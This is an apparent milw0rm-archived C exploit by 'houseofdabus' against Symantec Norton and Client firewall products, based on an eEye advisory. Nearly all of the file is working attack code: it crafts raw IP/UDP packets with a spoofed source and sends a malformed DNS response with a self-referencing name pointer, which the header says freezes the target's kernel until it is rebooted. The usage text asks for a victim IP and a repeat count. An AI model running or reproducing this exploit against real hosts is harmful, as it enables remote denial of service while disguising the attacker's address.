// Symantec Multiple Firewall DNS Response Denial of Service

/* HOD-symantec-firewall-DoS-expl.c:
 *
 * Symantec Multiple Firewall DNS Response Denial-of-Service
 *
 * Exploit version 0.1 coded by
 *
 *
 *                 .::[ houseofdabus ]::.
 *
 *
 *
 * Bug discoveried by eEye:
 * http://www.eeye.com/html/Research/Advisories/AD20040512B.html
 *
 * -------------------------------------------------------------------
 * Tested on:
 *    - Symantec Norton Personal Firewall 2004
 *
 *
 * Systems Affected:
 *    - Symantec Norton Internet Security 2002
 *    - Symantec Norton Internet Security 2003
 *    - Symantec Norton Internet Security 2004
 *    - Symantec Norton Internet Security Professional 2002
 *    - Symantec Norton Internet Security Professional 2003
 *    - Symantec Norton Internet Security Professional 2004
 *    - Symantec Norton Personal Firewall 2002
 *    - Symantec Norton Personal Firewall 2003
 *    - Symantec Norton Personal Firewall 2004 
 *    - Symantec Client Firewall 5.01, 5.1.1 
 *    - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
 *    - Symantec Norton AntiSpam 2004
 *
 * -------------------------------------------------------------------
 * Description:
 *    eEye Digital Security has discovered a second vulnerability
 *    in the Symantec firewall product line that can be remotely
 *    exploited to cause a severe denial-of-service condition on
 *    systems running a default installation of an affected version
 *    of the product. By sending a single malicious DNS (UDP port 53)
 *    response packet to a vulnerable host, an attacker can cause
 *    the Symantec DNS response validation code to enter an infinite
 *    loop within the kernel, amounting to a system freeze that requires
 *    the machine to be physically rebooted in order to restore operation.
 *
 * -------------------------------------------------------------------
 * Compile:
 *    Win32/VC++  : cl -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib
 *    Win32/cygwin: gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -lws2_32.lib
 *    Linux       : gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -Wall
 *
 * -------------------------------------------------------------------
 * Command Line Parameters/Arguments:
 *
 *    HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int] 
 *
 *           -fi:IP    From (sender) IP address
 *           -tp:int   To (recipient) port number
 *           -ti:IP    To (recipient) IP address
 *           -n:int    Number of times to send message
 *
 */


#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN 
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */
#include <stdio.h>
#include <stdlib.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#include <string.h>
#endif

#define MAX_MESSAGE        4068
#define MAX_PACKET         4096

#define DEFAULT_PORT       53
#define DEFAULT_IP         "10.0.0.1"
#define DEFAULT_COUNT      1

#ifndef _WIN32
#       define FAR
#endif


/* Define the DNS header */
char dnsreply[] =
"\xc9\x9c"  /* Transaction ID */
"\x80\x00"  /* Flags (bit 15: response) */
"\x00\x01"  /* Number of questions */
"\x00\x01"  /* Number of answer RRs */
"\x00\x00"  /* Number of authority RRs */
"\x00\x00"  /* Number of additional RRs */
"\xC0\x0C"; /* Compressed name pointer to itself */


/* Define the IP header */
typedef struct ip_hdr {
    unsigned char  ip_verlen;        /* IP version & length */
    unsigned char  ip_tos;           /* IP type of service */
    unsigned short ip_totallength;   /* Total length */
    unsigned short ip_id;            /* Unique identifier */
    unsigned short ip_offset;        /* Fragment offset field */
    unsigned char  ip_ttl;           /* Time to live */
    unsigned char  ip_protocol;      /* Protocol */
    unsigned short ip_checksum;      /* IP checksum */
    unsigned int   ip_srcaddr;       /* Source address */
    unsigned int   ip_destaddr;      /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;

/* Define the UDP header */
typedef struct udp_hdr {
    unsigned short src_portno;       /* Source port number */
    unsigned short dst_portno;       /* Destination port number */
    unsigned short udp_length;       /* UDP packet length */
    unsigned short udp_checksum;     /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;


/* globals */
unsigned long  dwToIP,               // IP to send to
               dwFromIP;             // IP to send from (spoof)
unsigned short iToPort,              // Port to send to
               iFromPort;            // Port to send from (spoof)
unsigned long  dwCount;              // Number of times to send
char           strMessage[MAX_MESSAGE]; // Message to send



void
usage(char *progname) {
	printf("Usage:\n\n");
    printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-tp:DST-PORT] [-n:int]\n\n", progname);
    printf("       -fi:IP    From (sender) IP address\n");
    printf("       -tp:int   To (recipient) open UDP port number:\n");
	printf("                 137, 138, 445, 500(default)\n");
    printf("       -ti:IP    To (recipient) IP address\n");
    printf("       -n:int    Number of times\n");
    exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
    int                i;

    iToPort = 500;
    iFromPort = DEFAULT_PORT;
    dwToIP = inet_addr(DEFAULT_IP);
    dwFromIP = inet_addr(DEFAULT_IP); 
    dwCount = DEFAULT_COUNT;
	memcpy(strMessage, dnsreply, sizeof(dnsreply)-1);

    for(i = 1; i < argc; i++) {
        if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
            switch (tolower(argv[i][1])) {
                case 'f':
                    switch (tolower(argv[i][2])) {
                        case 'i':
                            if (strlen(argv[i]) > 4)
                                dwFromIP = inet_addr(&argv[i][4]);
                            break;
                        default:
                            usage(argv[0]);
                            break;
                    }    
                    break;
                case 't':
                    switch (tolower(argv[i][2])) {
                        case 'p':
                            if (strlen(argv[i]) > 4)
                                iToPort = atoi(&argv[i][4]);
                            break;
                        case 'i':
                            if (strlen(argv[i]) > 4)
                                dwToIP = inet_addr(&argv[i][4]);
                            break;
                        default:
                            usage(argv[0]);
                            break;
                    }    
                    break;
                case 'n':
                    if (strlen(argv[i]) > 3)
                        dwCount = atol(&argv[i][3]);
                    break;
                default:
                    usage(argv[0]);
                    break;
            }
        }
    }
    return;
}


/*    This function calculates the 16-bit one's complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
    unsigned long cksum=0;

    while (size > 1) {
        cksum += *buffer++;
        size  -= sizeof(unsigned short);   
    }
    if (size) {
        cksum += *(unsigned char *)buffer;   
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16); 

    return (unsigned short)(~cksum); 
}




int
main(int argc, char **argv)
{
#ifdef _WIN32
    WSADATA            wsd;
#endif
    int                s;
#ifdef _WIN32
	BOOL                bOpt;
#else
	int                bOpt;
#endif
    struct sockaddr_in remote;
    IP_HDR             ipHdr;
    UDP_HDR            udpHdr;
    int                ret;
    unsigned long      i;
    unsigned short     iTotalSize,
                       iUdpSize,
                       iUdpChecksumSize,
                       iIPVersion,
                       iIPSize,
                       cksum = 0;
    char               buf[MAX_PACKET],
                       *ptr = NULL;
#ifdef _WIN32
    IN_ADDR            addr;
#else
	struct sockaddr_in addr;
#endif

	printf("\nSymantec Multiple Firewall DNS Response Denial-of-Service exploit v0.1\n");
    printf("Bug discoveried by eEye:\n");
    printf("http://www.eeye.com/html/Research/Advisories/AD20040512B.html\n\n");
	printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");

	if (argc < 3) usage(argv[0]);

    /* Parse command line arguments and print them out */
    ValidateArgs(argc, argv);
#ifdef _WIN32
    addr.S_un.S_addr = dwFromIP;
    printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
    addr.S_un.S_addr = dwToIP;
    printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
    printf("[*] Count:   %d\n", dwCount);
#else
    addr.sin_addr.s_addr = dwFromIP;
    printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
    addr.sin_addr.s_addr = dwToIP;
    printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
    printf("[*] Count:   %d\n", dwCount);
#endif

#ifdef _WIN32
    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
        printf("[-] WSAStartup() failed: %d\n", GetLastError());
        return -1;
    }
#endif
    /*  Creating a raw socket */
    s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
    if (s == INVALID_SOCKET) {
        printf("[-] WSASocket() failed: %d\n", WSAGetLastError());
        return -1;
    }
#endif

    /* Enable the IP header include option */
#ifdef _WIN32
    bOpt = TRUE;
#else
    bOpt = 1;
#endif
    ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
    if (ret == SOCKET_ERROR) {
        printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
        return -1;
    }
#endif
    /* Initalize the IP header */
    iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(dnsreply)-1;

    iIPVersion = 4;
    iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

    ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
    ipHdr.ip_tos = 0;                         /* IP type of service */
    ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
    ipHdr.ip_id = 0;                 /* Unique identifier: set to 0 */
    ipHdr.ip_offset = 0;             /* Fragment offset field */
    ipHdr.ip_ttl = 128;              /* Time to live */
    ipHdr.ip_protocol = 0x11;        /* Protocol(UDP) */
    ipHdr.ip_checksum = 0 ;          /* IP checksum */
    ipHdr.ip_srcaddr = dwFromIP;     /* Source address */
    ipHdr.ip_destaddr = dwToIP;      /* Destination address */

    /* Initalize the UDP header */
    iUdpSize = sizeof(udpHdr) + sizeof(dnsreply)-1;

    udpHdr.src_portno = htons(iFromPort) ;
    udpHdr.dst_portno = htons(iToPort) ;
    udpHdr.udp_length = htons(iUdpSize) ;
    udpHdr.udp_checksum = 0 ;


	iUdpChecksumSize = 0;
    ptr = buf;
	memset(buf, 0, MAX_PACKET);

    memcpy(ptr, &ipHdr.ip_srcaddr,  sizeof(ipHdr.ip_srcaddr));  
    ptr += sizeof(ipHdr.ip_srcaddr);
    iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);

    memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr)); 
    ptr += sizeof(ipHdr.ip_destaddr);
    iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);

    ptr++;
    iUdpChecksumSize += 1;

    memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol)); 
    ptr += sizeof(ipHdr.ip_protocol);
    iUdpChecksumSize += sizeof(ipHdr.ip_protocol);

    memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length)); 
    ptr += sizeof(udpHdr.udp_length);
    iUdpChecksumSize += sizeof(udpHdr.udp_length);
    
    memcpy(ptr, &udpHdr, sizeof(udpHdr)); 
    ptr += sizeof(udpHdr);
    iUdpChecksumSize += sizeof(udpHdr);

	for(i = 0; i < sizeof(dnsreply)-1; i++, ptr++)
        *ptr = strMessage[i];
    iUdpChecksumSize += sizeof(dnsreply)-1;

    cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
    udpHdr.udp_checksum = cksum;


	memset(buf, 0, MAX_PACKET);
    ptr = buf;

    memcpy(ptr, &ipHdr, sizeof(ipHdr));   ptr += sizeof(ipHdr);
    memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
    memcpy(ptr, strMessage, sizeof(dnsreply)-1);

    remote.sin_family = AF_INET;
    remote.sin_port = htons(iToPort);
    remote.sin_addr.s_addr = dwToIP;
   
    for(i = 0; i < dwCount; i++) {
#ifdef _WIN32
        ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, 
            sizeof(remote));

        if (ret == SOCKET_ERROR) {
            printf("[-] sendto() failed: %d\n", WSAGetLastError());
            break;
        } else
#else
        ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote, 
            sizeof(remote));
#endif
            printf("[+] sent %d bytes\n", ret);
    }

#ifdef _WIN32
    closesocket(s);
    WSACleanup();
#endif

    return 0;
}



// milw0rm.com [2004-05-16]
